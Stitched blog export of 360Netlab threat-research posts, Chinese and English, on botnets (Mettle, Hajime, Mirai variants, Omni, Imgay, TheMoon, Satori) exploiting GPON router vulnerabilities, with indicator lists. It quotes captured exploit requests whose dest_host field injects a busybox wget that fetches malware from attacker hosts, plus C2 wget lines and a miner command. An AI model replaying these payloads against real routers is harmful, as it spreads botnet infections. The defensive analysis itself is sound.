Content-Type: application/x-www-form-urlencoded ------------------------------------------------------------- hxxp://domstates.su/gpon.sh 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。 Ioc Mettle 118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology" scanner IP 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology" c2 8e2c6a92a024f8b8bb3c086b86fa50f9 malware hash Hajime atk.mipseb.1525838286 file name 8CCA32FB1FE4826007B087B4AEE20941 hash original ED1306E24196533553571D5433312A2D hash before unpack E06E1E7993EA310CE0FBA9DD76CDF377 hash after unpack Mira variant #1 46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V." scanner IP 46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V." C2 ip c6dc9f7cf09a267fefe53c5c481e7ea0 malware hash Omni 185.246.152.173:1000 Netherlands/NL "AS56630 Melbikomas UAB" C2 51.15.106.135 France/FR "AS12876 Online S.a.s." scanner IP hxxp://185.246.152.173/omni malware download URL Omni 的历史恶意代码下载链接 hxxp://185.246.152.173:80/bins/spc.omni hxxp://185.246.152.173:80/bins/sora.spc hxxp://185.246.152.173:80/bins/sora.sh4 hxxp://185.246.152.173:80/bins/sora.arm6 hxxp://185.246.152.173:80/bins/sora.arm5 hxxp://185.246.152.173:80/bins/s-owari.spc hxxp://185.246.152.173:80/bins/s-owari.mpsl hxxp://185.246.152.173:80/bins/s-owari.m68k hxxp://185.246.152.173:80/bins/s-owari.arm hxxp://185.246.152.173:80/bins/s-owari.arm7 hxxp://185.246.152.173:80/bins/s-owari.arc hxxp://185.246.152.173:80/bins/owari.x86 hxxp://185.246.152.173:80/bins/owari.spc hxxp://185.246.152.173:80/bins/owari.mpsl hxxp://185.246.152.173:80/bins/owari.mips hxxp://185.246.152.173:80/bins/owari.i586 hxxp://185.246.152.173:80/bins/owari.arm hxxp://185.246.152.173:80/bins/owari.arm7 hxxp://185.246.152.173:80/bins/owari.arm5 hxxp://185.246.152.173:80/bins/owari.arm4 hxxp://185.246.152.173:80/bins/mpsl.omni hxxp://185.246.152.173:80/bins/mips.owari hxxp://185.246.152.173:80/bins/mips.omni hxxp://185.246.152.173:80/bins/arm7.omni hxxp://185.246.152.173:80/bins/arm6.omni hxxp://185.246.152.173:80/bins/arc.omni hxxp://185.246.152.173:80/bins/Owari.x86 hxxp://185.246.152.173:80/bins/Owari.spc hxxp://185.246.152.173:80/bins/Owari.sh4 hxxp://185.246.152.173:80/bins/Owari.mpsl hxxp://185.246.152.173:80/bins/Owari.mips1 hxxp://185.246.152.173:80/bins/Owari.m68k hxxp://185.246.152.173:80/bins/Owari.arm7 hxxp://185.246.152.173:80/bins/Owari.arm6 hxxp://185.246.152.173/xOwari.sh hxxp://185.246.152.173/bins/x86.omni hxxp://185.246.152.173/bins/scan.x86 hxxp://185.246.152.173/bins/s-owari.ppc hxxp://185.246.152.173/bins/s-owari.mpsl hxxp://185.246.152.173/bins/s-owari.arm hxxp://185.246.152.173/bins/s-owari.arm7 hxxp://185.246.152.173/bins/owari.spc hxxp://185.246.152.173/bins/owari.sh4 hxxp://185.246.152.173/bins/owari.mips hxxp://185.246.152.173/bins/owari.m68k hxxp://185.246.152.173/bins/owari.arm hxxp://185.246.152.173/bins/owari.arm7 hxxp://185.246.152.173/bins/nocpu.x86 hxxp://185.246.152.173/bins/nocpu.mips hxxp://185.246.152.173/41ai.sh TheMoon md5=17fb1bfae44a9008a4c9b4bdc6b327bd url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z md5=299919e8a5b4c8592db0c47207935b69 url=hxxp://domstates.su/gpon.sh

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"本文由 Hui Wang、LIU Ya、RootKiter、yegenshen 共同撰写。\n\n[更新 2018-05-21 17：30]\n```\n这场GPON的聚会看起来永远不会结束了，现在 TheMoon 僵尸网络家族也开始加入了。文中增加了相关的描述。特别值得说明的，TheMoon僵尸网络所使用的攻击漏洞此前并没有批露过，看起来像是个 0day，我们选择不公开攻击载荷的详细内容。另外我们选择了两个版本的 GPON 家用路由器，TheMoon使用的攻击载荷均能成功运行。\n```\n\n我们在之前的系列文章 [一](__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/) 和 [二](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/) 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori，等等。这些各路僵尸网络一拥而上，争抢地盘，w为 IoT 僵尸网络研究者们提供了一个绝佳的近距离观察机会。\n\n在我们的观察中，一个有趣的地方是各僵尸网络的漏洞利用代码均只能影响一小部分（估计大约 2%） GPON 家用路由器。如此一来，最终被控制的设备数量大大减少，广大 GPON 家用路由器用户暂且躲过一劫。但是管理员们仍需保持警惕，在现有条件下，各恶意代码团伙正保持积极的开发活动，其代码修正只需要很短的时间。\n\n我们360网络安全研究院在保持观察的同时，也与安全社区一起，采取了行动抑制 muhstik 僵尸网络的扩散。但是 muhstik 恶意代码团伙并不愿意轻易放弃，他们一次次尝试卷土重来。后续发展，还请读者拭目以待。\n\n在本篇文章里，我们会依次介绍其他的僵尸网络：\n\n - **Mettle**：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块\n - **Hajime**：**Hajime**的本次更新也包含了 GPON 本次的漏洞利用\n - **两个Mirai变种**：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 [omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3)。\n - **Imgay**：这看起来是一个正在开发中的僵尸网络，我们只观察到了下载行为，没有看到后续动作。\n - **TheMoon**: **TheMoon** 家族我们在之前的 [文章](__GHOST_URL__/themoon-botnet-a-review-and-new-features/) 中提到过。该恶意代码家族至少在2014年就开始活跃，当时针对Linksys E1000 系列路由器，并在后续持续发展。从2017年开始，该恶意代码继续集成了至少 6 种6 种 IoT 设备漏洞利用手段。现在，2018-05-21，TheMoon家族加入了 GPON 设备的争夺大战。\n\n#### Mettle\n\nmettle，这个恶意代码团伙的C2，如我们之前提及，在这一波的攻击中，短暂出现后就下线了。这个恶意代码团伙的特征包括：\n\n - **扫描器IP** : 118.70.80.143 Vietnam/VN Hanoi\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n - **C2服务器**: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n - **下载服务器**：利用了上述C2服务器的 80 端口\n - **恶意软件（下载器）样本hash**: 8e2c6a92a024f8b8bb3c086b86fa50f9\n - 上述下载器会下载**开源渗透测试工具mettle**，一个metasploit的衍生版本，随后目标设备会被C2服务器远程控制\n\n另外，当完成漏洞利用后，控制者还会修改 Gpon 路由器原有iptables 规则，封堵 TCP 80 和 443 端口流量。通常可以认为这是恶意代码在试图阻止其他恶意代码的进入。部分 iptables 规则如下示例：\n```\n-A ACL -p tcp -m tcp --dport 80 -j DROP\n-A ACL -p tcp -m tcp --dport 23 -j DROP\n-A ACL -p tcp -m tcp --dport 22 -j DROP\n-A ACL -p tcp -m tcp --dport 21 -j DROP \n-A ACL -p tcp -m tcp --dport 443 -j DROP\n```\n\n我们并未直接观察到 mettle 的攻击载荷，但是我们注意到该IP地址在历史曾经与其他恶意代码相关。有兴趣的读者可以尝试继续展开搜索。\n\n#### Hajime\nHajime 家族本次更新的特征包括：\n\n - **文件名**：atk.mipseb.1525838286 \n - **原始Hash**: 8CCA32FB1FE4826007B087B4AEE20941\n - **脱壳前Hash**: ED1306E24196533553571D5433312A2D\n - **脱壳后Hash**: E06E1E7993EA310CE0FBA9DD76CDF377\n - **端口目标**：23,80,8080\n - **新的 Payload(GPON)**：hxxps://www.exploit-db.com/exploits/44576/ \n\n该样本中的GPON漏洞利用代码截图如下：\n\n\n更新后的 atk.mpseb 模块可以同时对 TCP 23，80，8080 发起扫描：\n\n\n#### Mirai 变种 1\n\n该mirai变种的特征包括：\n\n - 扫描器IP : 46.243.189.60 Netherlands/NL \"AS205406 Hostio Solutions B.V.\"\n - C2服务器: 46.243.189.102:127 Netherlands/NL \"AS205406 Hostio Solutions B.V.\"\n - 下载服务器：共用了上述IP地址的 80 端口\n - 恶意软件样本hash: c6dc9f7cf09a267fefe53c5c481e7ea0\n\n所使用的攻击载荷如下：\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2\nHost: {target}\nAccept: */*\nContent-Length: 138\nContent-Type: application/x-www-form-urlencoded\n\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0\n```\n\n这个mirai变种对应的 C2 服务器已经长期被我们监控。这个C2会发出DDoS攻击指令，并且比较活跃。我们首次监控到其发出DDoS攻击指令的时间是 2018-01-26 13:10:20。下图是其每日发出的攻击指令的条数变化曲线：\n\n\n\n受害者方面，由于其攻击指令较多，我们仅列出部分流行的站点，包括：check-host.net，incapsula.com，moz.com，opskins.com，pastebin.com，roblox.com，seznam.cz，store.playstation.com，www.kinguin.net，等等。\n\n\n\n#### Mirai 变种 2 - Omni\n\nnewskysecurity 的研究员已经将该变种命名为 [omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3)，其描述与我们的观察比较一致。\n\n在本轮攻击中，omni使用的攻击载荷是：\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nHost: {target}\nContent-Length: 120\nUser-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1\nConnection: keep-alive\nAccept: */*\nAccept-Encoding: gzip, deflate\n\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0\n```\n\n\n该僵尸网络的特征包括：\n\n - 下载服务器 URL ：hxxp://185.246.152.173/omni\n - C2 服务器：185.246.152.173:1000\n - Scanner IP 地址：51.15.106.135\n\n历史上该C2就传播过多个mirai变种，包括owari、xOwari、s-owari、sora、omni。并且该C2编译的mirai变种支持多种CPU架构，除了通常 mirai 变种都支持的 arm、mips、mpsl、mipsl、x86、spc之外，还支持了之前社区广泛关注的 arc CPU架构。\n\n另外一个有趣的地方是该僵尸网络对外界传递的两条信息。一条信息保存在该服务器上（hxxp://185.246.152.173/meme）。当前该URL已经不可访问，其历史截图如下。图片主体由知名安全博客博主 [brian krebs](https://krebsonsecurity.com/) 的头像与电影《黑客帝国》剧照合并而成：\n\n\n页面的文字内容如下。其中包含一个邮件地址 [email protected]，注意这并非是 Brian Krebs 本人的邮箱地址。\n```\nHey you, stop right there!\nWant your router fixed? No problem! Send an email to [email protected] and we will have it fixed asap!\n~ scarface is your daddy ~\n```\n\n另一条信息保存在样本中，留下了一个twitter帐号 @1337Wicked :\n\n```\nmd5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8\nmessage: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter\n```\n\n#### Imgay\n\nImgay 是另外一个僵尸网络，其传播的恶意代码 URL 如下：\n```\nhxxp://149.28.96.126/imgay\n```\n\n该恶意代码会访问如下地址，但之后该恶意代码就结束了，没有看到后续活动。\n```\nwget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1\nwget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1\nwget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1\nwget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1\n```\n\n#### The Moon 僵尸网络家族\n\n关于该僵尸网络可以阅读我们之前的 [文章](__GHOST_URL__/themoon-botnet-a-review-and-new-features/) 。由于我们之前提过，TheMoon使用的这个漏洞一定程度上可以算过 0day，各管理员需要特别注意该家族。出于避免漏洞扩散的原因，我们暂时不会公开这个攻击载荷的详细信息。\n\n该恶意家族的特征包括：\n\n - **Scanner IP**: 177.141.64.108 Brazil/BR São Paulo\t\"AS28573 CLARO S.A.\"\n - **扫描端口**：80，8080，81，82，8888\n - **下载服务器**:domstates.su ，我们使用该域名将本次攻击与 TheMoon 家族联系起来\n\n攻击载荷\n```\nPOST /--------/--------?---------/ HTTP/1.1\nAccept: */*\nHost: {}\nUser-Agent: Wget(linux)\nContent-Length: 287\nContent-Type: application/x-www-form-urlencoded\n-------------------------------------------------------------\nhxxp://domstates.su/gpon.sh \n```\n\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n####Ioc\n\nMettle\n```\n118.70.80.143 Vietnam/VN Hanoi \"AS18403 The Corporation for Financing & Promoting Technology\" scanner IP\n210.245.26.180:4441 Vietnam/VN Ho Chi Minh City \"AS18403 The Corporation for Financing & Promoting Technology\" c2\n8e2c6a92a024f8b8bb3c086b86fa50f9 malware hash\n```\n\nHajime\n```\natk.mipseb.1525838286 file name\n8CCA32FB1FE4826007B087B4AEE20941 hash original\nED1306E24196533553571D5433312A2D hash before unpack\nE06E1E7993EA310CE0FBA9DD76CDF377 hash after unpack\n```\n\nMira variant #1\n```\n46.243.189.60 Netherlands/NL \"AS205406 Hostio Solutions B.V.\" scanner IP\n46.243.189.102:127 Netherlands/NL \"AS205406 Hostio Solutions B.V.\" C2 ip\nc6dc9f7cf09a267fefe53c5c481e7ea0 malware hash\n```\n\nOmni\n```\n185.246.152.173:1000 Netherlands/NL \"AS56630 Melbikomas UAB\" C2 \n51.15.106.135 France/FR\t\"AS12876 Online S.a.s.\" scanner IP\nhxxp://185.246.152.173/omni malware download URL\n```\n\nOmni 的历史恶意代码下载链接\n```\nhxxp://185.246.152.173:80/bins/spc.omni\nhxxp://185.246.152.173:80/bins/sora.spc\nhxxp://185.246.152.173:80/bins/sora.sh4\nhxxp://185.246.152.173:80/bins/sora.arm6\nhxxp://185.246.152.173:80/bins/sora.arm5\nhxxp://185.246.152.173:80/bins/s-owari.spc\nhxxp://185.246.152.173:80/bins/s-owari.mpsl\nhxxp://185.246.152.173:80/bins/s-owari.m68k\nhxxp://185.246.152.173:80/bins/s-owari.arm\nhxxp://185.246.152.173:80/bins/s-owari.arm7\nhxxp://185.246.152.173:80/bins/s-owari.arc\nhxxp://185.246.152.173:80/bins/owari.x86\nhxxp://185.246.152.173:80/bins/owari.spc\nhxxp://185.246.152.173:80/bins/owari.mpsl\nhxxp://185.246.152.173:80/bins/owari.mips\nhxxp://185.246.152.173:80/bins/owari.i586\nhxxp://185.246.152.173:80/bins/owari.arm\nhxxp://185.246.152.173:80/bins/owari.arm7\nhxxp://185.246.152.173:80/bins/owari.arm5\nhxxp://185.246.152.173:80/bins/owari.arm4\nhxxp://185.246.152.173:80/bins/mpsl.omni\nhxxp://185.246.152.173:80/bins/mips.owari\nhxxp://185.246.152.173:80/bins/mips.omni\nhxxp://185.246.152.173:80/bins/arm7.omni\nhxxp://185.246.152.173:80/bins/arm6.omni\nhxxp://185.246.152.173:80/bins/arc.omni\nhxxp://185.246.152.173:80/bins/Owari.x86\nhxxp://185.246.152.173:80/bins/Owari.spc\nhxxp://185.246.152.173:80/bins/Owari.sh4\nhxxp://185.246.152.173:80/bins/Owari.mpsl\nhxxp://185.246.152.173:80/bins/Owari.mips1\nhxxp://185.246.152.173:80/bins/Owari.m68k\nhxxp://185.246.152.173:80/bins/Owari.arm7\nhxxp://185.246.152.173:80/bins/Owari.arm6\nhxxp://185.246.152.173/xOwari.sh\nhxxp://185.246.152.173/bins/x86.omni\nhxxp://185.246.152.173/bins/scan.x86\nhxxp://185.246.152.173/bins/s-owari.ppc\nhxxp://185.246.152.173/bins/s-owari.mpsl\nhxxp://185.246.152.173/bins/s-owari.arm\nhxxp://185.246.152.173/bins/s-owari.arm7\nhxxp://185.246.152.173/bins/owari.spc\nhxxp://185.246.152.173/bins/owari.sh4\nhxxp://185.246.152.173/bins/owari.mips\nhxxp://185.246.152.173/bins/owari.m68k\nhxxp://185.246.152.173/bins/owari.arm\nhxxp://185.246.152.173/bins/owari.arm7\nhxxp://185.246.152.173/bins/nocpu.x86\nhxxp://185.246.152.173/bins/nocpu.mips\nhxxp://185.246.152.173/41ai.sh\n```\n\nTheMoon\n```\nmd5=17fb1bfae44a9008a4c9b4bdc6b327bd url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z\nmd5=299919e8a5b4c8592db0c47207935b69 url=hxxp://domstates.su/gpon.sh\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

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post

2018-05-17T05:48:15.000Z

63873b9a8b1c1e0007f52f27

gpon-exploit-in-the-wild-ii-satori-botnet-en

2018-10-06T09:13:12.000Z

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2018-05-17T07:40:09.000Z

GPON Exploit in the Wild (II) - Satori Botnet

<!--kg-card-begin: markdown--><p>This article was co-authored by Rootkiter, Yegenshen, and Hui Wang.</p> <p>In our previous <a href="__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others-en/">article</a>, we mentioned since this GPON Vulnerability (CVE-2018-10561, CVE-2018-10562 ) announced, there have been at least five botnets family mettle, muhstik, mirai, hajime, satori actively exploit the vulnerability to build their zombie army in just 10 days.</p> <p>We mainly focused on the muhstik botnet in the previous blog. Before and after the publication of the article, through joint efforts with the security community, we managed to kill 12 IP addresses of the Muhstik botnet on the OVH and 1 IP address on the Microsoft network. For a detailed list of IP addresses, see the Annex IoC section.</p> <p>One thing noteworthy is about these botnets' exploit effectiveness. From our estimate, only 2% all GPON home router is affected, most of which located in Mexico. This happens because of the way they utilizing the published PoC.</p> <p>Now let’s take a look at the these botnets:</p> <ul> <li><strong>Satori</strong>: <strong>Satori</strong> is the infamous variant of the mirai botnet. <ul> <li>We first observed this botnet coming after the GPON vulnerable devices at 2018-05-10 05:51:18, several hours before our last publish.</li> <li>It has quickly overtakes muhstik as the No.1 player.</li> </ul> </li> <li><strong>Mettle</strong>: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module</li> <li><strong>Hajime</strong>: <strong>Hajime</strong> pushed an update which adds the GPON's exploits</li> <li><strong>Two Mirai variants</strong>: At least two malicious branches are actively exploiting this vulnerability to propagate mirai variants. One of them has been called <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">omni</a> by newskysecurity team.</li> <li><strong>imgay</strong>: This appears like a botnet that is under development. Its function is not finished yet.</li> </ul> <p>This article will mainly introduce the current update of the Satori botnet. In the follow-up we may publish a third article and go over the remaining ones.</p> <h4 id="comparisonofdeliveryfrequencyofdifferentbotnets">Comparison of Delivery Frequency of Different Botnets</h4> <p>Honeypot data can provide some basic comparison between different botnets that try to hit the GPON-related vulnerabilities. And following is a top10 list of attack payload that been requested by the bots. For a complete list, see the IoC section at the end of the article:</p> <pre><code>% botnet_name url 57.77% satori hxxp://185.62.190.191/r 32.66% muhstik hxxp://51.254.219.134/gpon.php 2.20% muhstik hxxp://162.243.211.204/gpon 1.99% muhstik hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php 0.96% muhstik hxxp://128.199.251.119/gpon.php 0.64% imgay hxxp://149.28.96.126/forky 0.60% imgay hxxp://149.28.96.126/80 0.57% imgay hxxp://149.28.96.126/ 0.57% imgay hxxp://149.28.96.126/81 0.53% muhstik hxxp://165.227.78.159/gpon.php </code></pre> <p>You can see Satori (account for 57.80% of all attempts we saw) and muhstik (38.87%) are the main force behind of the current GPON exploits bots.</p> <h4 id="satorimalwaredownloadurl">Satori Malware Download URL</h4> <p>The new Satori uses the following set of URLs to propagate malicious code:</p> <pre><code>hxxp://185.62.190.191/arm hxxp://185.62.190.191/arm7 hxxp://185.62.190.191/m68k hxxp://185.62.190.191/mips hxxp://185.62.190.191/mipsel hxxp://185.62.190.191/r hxxp://185.62.190.191/sparc </code></pre> <h4 id="satorimaliciouscodesamplesanalysis">Satori Malicious Code Samples Analysis</h4> <p>Take this sample as an example:</p> <pre><code>hxxp://185.62.190.191/arm md5hash:d546bc209d315ae81869315e8d536f36 </code></pre> <p>The code of this sample has changed a lot from the original version of Satori. From the aspect of sample binary alone, the relationship with the original Satori is not very strong. However, considering some of its key factors, such as some key strings, domain name TXT information, email addresses, etc., we still attribute it to the Satori variant.</p> <p>There are four encrypted strings in this sample, and the corresponding decryption results are as follows:</p> <ol> <li>c.sunnyjuly.gq</li> <li>Viam0610TCiLpBvezPFGL2aG</li> <li>{&quot;id&quot;:0,&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;miner_reboot&quot;}</li> <li>{&quot;id&quot;:0,&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;miner_file&quot;,&quot;params&quot;:[&quot;reboot.bat&quot;,&quot;4574684463724d696e657236342e657865202d65706f6f6c206574682d7573322e6477617266706f6f6c2e636f6d3a38303038202d6577616c20307864303839376461393262643764373735346634656131386638313639646263303862656238646637202d6d6f64652031202d6d706f72742033333333202d6d707377206775764a746f43785539&quot;]}</li> </ol> <p>The first string is the C2.<br> The second string will be printed at the device console.<br> The third and fourth strings are only defined but not being used.</p> <p>It is worth mentioning that these two strings are similar to the code used in <a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/">Satori.robber</a>, which can serve as a circumstantial evidence that the sample is homologous to Satori.</p> <p>The Hex part of the fourth string can be deciphered as follows. Although not used, it looks like a command string, containing a mine pool address, and a wallet address</p> <pre><code>EthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal 0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7 -mode 1 -mport 3333 -mpsw guvJtoCxU9 </code></pre> <h4 id="thewalletaddressofsatori">The Wallet Address of Satori</h4> <p>The wallet address information is as follows. According to the current estimate of $700 per ETH token, Satori received a total of approximately $200 in the current 6-day operation</p> <pre><code>$ curl &quot;http://dwarfpool.com/eth/api?wallet=0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7&quot; { &quot;autopayout_from&quot;: &quot;0.050&quot;, &quot;earning_24_hours&quot;: &quot;0.04629051&quot;, &quot;error&quot;: false, &quot;immature_earning&quot;: 0.0037158866909999997, &quot;last_payment_amount&quot;: &quot;0.05286277&quot;, #last pay amout &quot;last_payment_date&quot;: &quot;Tue, 15 May 2018 17:26:04 GMT&quot;, #last pay day &quot;last_share_date&quot;: &quot;Wed, 16 May 2018 09:46:47 GMT&quot;, &quot;payout_daily&quot;: false, &quot;payout_request&quot;: false, &quot;total_hashrate&quot;: 137.57, &quot;total_hashrate_calculated&quot;: 781.0, &quot;transferring_to_balance&quot;: 0, &quot;wallet&quot;: &quot;0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7&quot;, #wallet address &quot;wallet_balance&quot;: &quot;0.02818296&quot;, #balance due to pay &quot;workers&quot;: { &quot;&quot;: { &quot;alive&quot;: true, &quot;hashrate&quot;: 137.57, &quot;hashrate_below_threshold&quot;: false, &quot;hashrate_calculated&quot;: 781.0, &quot;last_submit&quot;: &quot;Wed, 16 May 2018 09:46:47 GMT&quot;, &quot;second_since_submit&quot;: 335, &quot;worker&quot;: &quot;&quot; } } } </code></pre> <h4 id="thedomainnameandtheoutcomingmessagefromitstxt">The Domain Name and the Out-coming Message from Its TXT</h4> <p>The C2 name in the sample c.sunnyjuly.gq has no IP address resolution yet. But, it does provide TXT record, which might carry the information its author communicates to the outside world. The author changed TXT information twice so far and note it uses a @riseup.net email address</p> <pre><code>2018-05-14 04:22:43 c.sunnyjuly.gq DNS_TXT Irdev here, i can be reached at [email protected], goodbye 2018-05-10 00:55:06 c.sunnyjuly.gq DNS_TXT It is always the simple that produces the marvelous </code></pre> <p>Worth noting that the origin <a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/">Satori.robber</a> also used the same DNS zone sunnyjuly.qg. At that time, the author also leave a message in the sample, as follows. The email address in it is also a @riseup.net。</p> <pre><code>Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] </code></pre> <h4 id="theport3333scanspikecausedbysatori">The Port 3333 Scan Spike Caused by Satori</h4> <p>The current version of Satori also scans port 3333 which can be seen at our <a href="https://scan.netlab.360.com/#/dashboard?tsbeg=1523894400000&amp;tsend=1526486400000&amp;dstport=3333&amp;toplistname=srcas&amp;topn=10">ScanMon</a> system. The source of this scan is about 17k independent IP addresses, mainly from Uninet SA de CV, telmex.com, located in Mexico.</p> <p><img src="__GHOST_URL__/content/images/2018/05/satori-port-3333-scan.png" alt="" loading="lazy"></p> <h4 id="contactus">Contact Us</h4> <p>We can be reached at  <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or at WeChat subscription account <strong>360Netlab</strong>.</p> <h4 id="ioc">Ioc</h4> <p>Those IPs once under muhstik control, but now cleared by security community:</p> <pre><code>139.99.101.96:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 145.239.93.125:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 51.254.221.129 &quot;AS16276 OVH SAS&quot; 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 51.254.219.137 &quot;AS16276 OVH SAS&quot; 51.254.219.134 &quot;AS16276 OVH SAS&quot; 191.238.234.227 &quot;AS8075 Microsoft Corporation&quot; </code></pre> <p>All the malware downloading URLs exploiting GPON vulnerability.</p> <pre><code>% botnet_name url Country &amp; Region ASN 57.77% satori hxxp://185.62.190.191/r Netherlands/NL AS49349 Dotsi, Unipessoal Lda. 32.66% muhstik hxxp://51.254.219.134/gpon.php France/FR AS16276 OVH SAS 2.20% muhstik hxxp://162.243.211.204/gpon United States/US New York AS62567 DigitalOcean, LLC 1.99% muhstik hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php United States/US Clifton AS14061 DigitalOcean, LLC 0.96% muhstik hxxp://128.199.251.119/gpon.php Singapore/SG Singapore AS14061 DigitalOcean, LLC 0.64% imgay hxxp://149.28.96.126/forky United States/US College Park None 0.60% imgay hxxp://149.28.96.126/80 United States/US College Park None 0.57% imgay hxxp://149.28.96.126/ United States/US College Park None 0.57% imgay hxxp://149.28.96.126/81 United States/US College Park None 0.53% muhstik hxxp://165.227.78.159/gpon.php United States/US Clifton AS14061 DigitalOcean, LLC 0.32% muhstik hxxp://162.243.211.204/gponexec United States/US New York AS62567 DigitalOcean, LLC 0.28% imgay hxxp://149.28.96.126/8080 United States/US College Park None 0.25% untitled-1 hxxp://186.219.47.178:8080 Brazil/BR AS262589 INTERNEXA Brasil Operadora de Telecomunicações S.A 0.11% imgay hxxp://149.28.96.126/imgay United States/US College Park None 0.11% muhstik hxxp://162.243.211.204/aio United States/US New York AS62567 DigitalOcean, LLC 0.11% muhstik hxxp://46.243.189.102/ Netherlands/NL AS205406 Hostio Solutions B.V. 0.07% untitled-2 hxxp://114.67.227.83/busybox China/CN Beijing AS4808 China Unicom Beijing Province Network 0.07% omni hxxp://185.246.152.173/omni Netherlands/NL AS56630 Melbikomas UAB 0.07% untitled-2 nc://114.67.227.83:7856 China/CN Beijing AS4808 China Unicom Beijing Province Network 0.04% satori hxxp://185.62.190.191/s Netherlands/NL AS49349 Dotsi, Unipessoal Lda. 0.04% untitled-2 hxxp://114.67.227.83 China/CN Beijing AS4808 China Unicom Beijing Province Network 0.04% untitled-3 hxxp://209.141.42.3/gponx United States/US Las Vegas AS53667 FranTech Solutions 0.04% untitled-2 hxxp://114.67.227.83/ China/CN Beijing AS4808 China Unicom Beijing Province Network </code></pre> <!--kg-card-end: markdown-->

This article was co-authored by Rootkiter, Yegenshen, and Hui Wang. In our previous article, we mentioned since this GPON Vulnerability (CVE-2018-10561, CVE-2018-10562 ) announced, there have been at least five botnets family mettle, muhstik, mirai, hajime, satori actively exploit the vulnerability to build their zombie army in just 10 days. We mainly focused on the muhstik botnet in the previous blog. Before and after the publication of the article, through joint efforts with the security community, we managed to kill 12 IP addresses of the Muhstik botnet on the OVH and 1 IP address on the Microsoft network. For a detailed list of IP addresses, see the Annex IoC section. One thing noteworthy is about these botnets' exploit effectiveness. From our estimate, only 2% all GPON home router is affected, most of which located in Mexico. This happens because of the way they utilizing the published PoC. Now let’s take a look at the these botnets: * Satori: Satori is the infamous variant of the mirai botnet. * We first observed this botnet coming after the GPON vulnerable devices at 2018-05-10 05:51:18, several hours before our last publish. * It has quickly overtakes muhstik as the No.1 player. * Mettle: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module * Hajime: Hajime pushed an update which adds the GPON's exploits * Two Mirai variants: At least two malicious branches are actively exploiting this vulnerability to propagate mirai variants. One of them has been called omni by newskysecurity team. * imgay: This appears like a botnet that is under development. Its function is not finished yet. This article will mainly introduce the current update of the Satori botnet. In the follow-up we may publish a third article and go over the remaining ones. Comparison of Delivery Frequency of Different Botnets Honeypot data can provide some basic comparison between different botnets that try to hit the 